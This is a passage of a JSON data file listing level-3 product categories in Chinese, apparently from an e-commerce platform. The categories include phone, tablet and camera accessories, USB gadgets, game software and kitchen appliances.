me":"对讲机配件","parent_cid":20134,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33542,"name":"18650电池","parent_cid":33499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33541,"name":"18650电池盒","parent_cid":33499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33539,"name":"纽扣电池","parent_cid":33499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33540,"name":"普通干电池","parent_cid":33499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33543,"name":"通用电池充电套装","parent_cid":33499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33544,"name":"相机/摄像机专用充电套装","parent_cid":33499,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33575,"name":"3D立体眼镜","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33582,"name":"AV切换器","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33579,"name":"BNC头","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33586,"name":"分配器/分频器/分支器","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33581,"name":"分压盒","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33585,"name":"F头","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33580,"name":"隔离器/耦合器","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33577,"name":"KVM","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33583,"name":"RCA头","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33584,"name":"RF头","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33587,"name":"射频器/转换器","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33578,"name":"VGA切换器","parent_cid":33505,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22242,"name":"胶片胶卷","parent_cid":20140,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22240,"name":"Lomo配件及周边","parent_cid":20140,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22252,"name":"拍立得配件及周边","parent_cid":20140,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33518,"name":"耳机保护套","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33516,"name":"耳机充电仓","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33511,"name":"耳机贴膜","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33517,"name":"耳机线夹","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33514,"name":"耳塞保护套","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33513,"name":"MP3/MP4保护套","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33520,"name":"MP3/MP4充电器","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33512,"name":"MP3/MP4连接线","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33519,"name":"MP3/MP4支架","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33515,"name":"MP4屏幕保护膜","parent_cid":33497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22243,"name":"平板电脑包","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22249,"name":"平板电脑保护套/壳","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22246,"name":"平板电脑充电器","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22244,"name":"平板电脑底座","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22248,"name":"平板电脑零部件","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22251,"name":"平板电脑屏幕贴膜","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22247,"name":"平板电脑数据线","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22250,"name":"平板电脑外接键盘","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22245,"name":"平板电脑支架","parent_cid":20137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33270,"name":"卡贴","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22234,"name":"配件礼盒套装","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33275,"name":"苹果卡槽","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33274,"name":"取卡针","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22229,"name":"手机保护套/壳","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22223,"name":"手机充电器","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22219,"name":"手机电池","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22227,"name":"手机防尘塞","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33268,"name":"手机挂件/手机链","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22237,"name":"手机红外遥控器/发射器","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33271,"name":"手机镜头","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22236,"name":"手机镜头保护贴","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22228,"name":"手机零部件","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22231,"name":"手机拍照配件","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22235,"name":"手机屏幕放大器","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22230,"name":"手机屏幕总成","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22225,"name":"手机散热器","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22221,"name":"手机饰品","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22226,"name":"手机数据线","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22220,"name":"手机贴膜","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33269,"name":"手机贴纸","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22224,"name":"手机同屏器","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33278,"name":"手机游戏指套","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33273,"name":"手机直播补光灯","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22233,"name":"手机直播配件","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22222,"name":"手机支架/手机座","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22232,"name":"手机智能按键","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33277,"name":"SIM剪卡钳","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22217,"name":"SIM卡相关","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22218,"name":"送话器","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33276,"name":"直播专用支架","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33272,"name":"自拍杆/架","parent_cid":20131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22213,"name":"电池收纳盒","parent_cid":20127,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22214,"name":"耳机绕线器","parent_cid":20127,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22216,"name":"数码收纳整理包","parent_cid":20127,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33569,"name":"屏幕保护膜","parent_cid":33503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33570,"name":"数据连接线","parent_cid":33503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33572,"name":"数码相机包","parent_cid":33503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33571,"name":"数码相机充电器","parent_cid":33503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33573,"name":"数码相机电池","parent_cid":33503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33568,"name":"数码相机适配器","parent_cid":33503,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33556,"name":"触摸屏手套","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33558,"name":"读卡器","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33550,"name":"PDA/掌上电脑","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33554,"name":"闪存卡转接套","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33549,"name":"手持稳定器","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33553,"name":"手写笔","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33560,"name":"数据线","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33561,"name":"数码防丢器","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33557,"name":"数码防丢器保护套","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33552,"name":"数码维修工具","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33551,"name":"数码显微镜","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33555,"name":"音乐枕","parent_cid":33501,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33533,"name":"USB保温盒/垫","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33532,"name":"USB灯","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33531,"name":"USB电脑锁/防盗器","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33536,"name":"USB多功能转换器","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33528,"name":"USB翻页激光笔","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33527,"name":"USB风扇","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33535,"name":"USBHUB转接器","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33537,"name":"USB加密狗","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33526,"name":"USB加湿器","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33534,"name":"USB暖手充电宝","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33529,"name":"USB暖手鼠标垫","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33525,"name":"USB驱蚊器","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33524,"name":"USB吸尘器","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33523,"name":"USB烟灰缸","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33522,"name":"USB延长线","parent_cid":33498,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33216,"name":"白平衡镜","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33229,"name":"包/箱配件","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33231,"name":"保护箱","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22203,"name":"背包/箱具","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33255,"name":"背景布类","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33226,"name":"擦屏布","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33235,"name":"测光表","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33208,"name":"单反/单电充电器","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33209,"name":"单反/单电电池","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33219,"name":"单反/单电适配器","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22205,"name":"单反/单电专用电池电源","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33212,"name":"单反机身盖","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33236,"name":"单反手柄","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33217,"name":"灯附件","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33250,"name":"对焦屏","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32021,"name":"读卡器","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33211,"name":"防潮箱","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33230,"name":"防寒设备","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33247,"name":"反光器具","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33248,"name":"辅助道具类","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33244,"name":"广角镜","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33220,"name":"灰板","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22204,"name":"脚架/云台","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33240,"name":"脚架包","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33233,"name":"脚架接环","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33237,"name":"脚架配件","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33254,"name":"镜头笔","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33266,"name":"镜头袋/镜头筒","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22212,"name":"镜头附件","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33215,"name":"镜头盖","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33258,"name":"镜头纸/镜头布","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33245,"name":"快门线","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33262,"name":"快装板","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33241,"name":"滤镜","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33228,"name":"毛刷","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33253,"name":"气吹","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22210,"name":"清洁用品","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33225,"name":"取景器","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33224,"name":"热靴水平仪","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22211,"name":"色彩管理","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22206,"name":"闪光灯","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33234,"name":"闪光灯配件","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33232,"name":"摄影包","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33210,"name":"摄影棚","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33257,"name":"摄影台/静物台","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33238,"name":"摄影梯","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33260,"name":"数码伴侣","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33213,"name":"数码望远镜","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33249,"name":"说明书/使用指南","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33218,"name":"外拍灯","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33223,"name":"无线传输设备","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33264,"name":"相机背带","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33267,"name":"相机挂绳","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33221,"name":"相机色卡","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33261,"name":"相机闪光灯","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33206,"name":"相机腕带","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33246,"name":"相机眼罩","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33251,"name":"相机专用遥控器","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33207,"name":"显示器/打印机色彩校正仪","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33222,"name":"校色仪","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33263,"name":"液晶屏保护膜","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22208,"name":"影棚设备","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33256,"name":"影室灯","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33243,"name":"云台电池与充电器","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33265,"name":"增距镜","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33239,"name":"遮光罩","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33259,"name":"转接环","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33242,"name":"专业摄影背心","parent_cid":20126,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23660,"name":"DS/3DS游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23661,"name":"PC游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23662,"name":"PSP/PSV游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23663,"name":"PS游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23785,"name":"任天堂 SWITCH游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23664,"name":"WII/WIIU游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23665,"name":"XBOX游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33280,"name":"游戏数字版","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23842,"name":"其它游戏软件","parent_cid":20436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25375,"name":"厨房冰箱","parent_cid":20702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25388,"name":"化妆品冰箱","parent_cid":20702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25376,"name":"客厅冰箱","parent_cid":20702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25377,"name":"母婴冰箱","parent_cid":20702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25389,"name":"嵌入式冰箱","parent_cid":20702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25369,"name":"雪茄柜","parent_cid":20702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25493,"name":"多功能餐吧柜","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33850,"name":"多功能水槽电蒸箱","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33849,"name":"集成烹饪中心","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25471,"name":"集成灶","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25495,"name":"嵌入式电烤箱","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25496,"name":"嵌入式电蒸箱","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25494,"name":"嵌入式微波炉","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25501,"name":"嵌入式微蒸烤套装","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25502,"name":"嵌入式微蒸烤一体机","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25497,"name":"气电混合灶具","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25470,"name":"燃气灶","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25500,"name":"水槽厨电一体机","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25469,"name":"消毒柜","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25468,"name":"洗碗机","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32022,"name":"烟灶套装","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25490,"name":"烟灶消套装","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25467,"name":"油烟机","parent_cid":20748,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25527,"name":"冰箱配件","parent_cid":20786,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25528,"name":"空调配件","parent_cid":20786,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25525,"name":"冷柜/便携冷热箱配件","parent_cid":20786,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25532,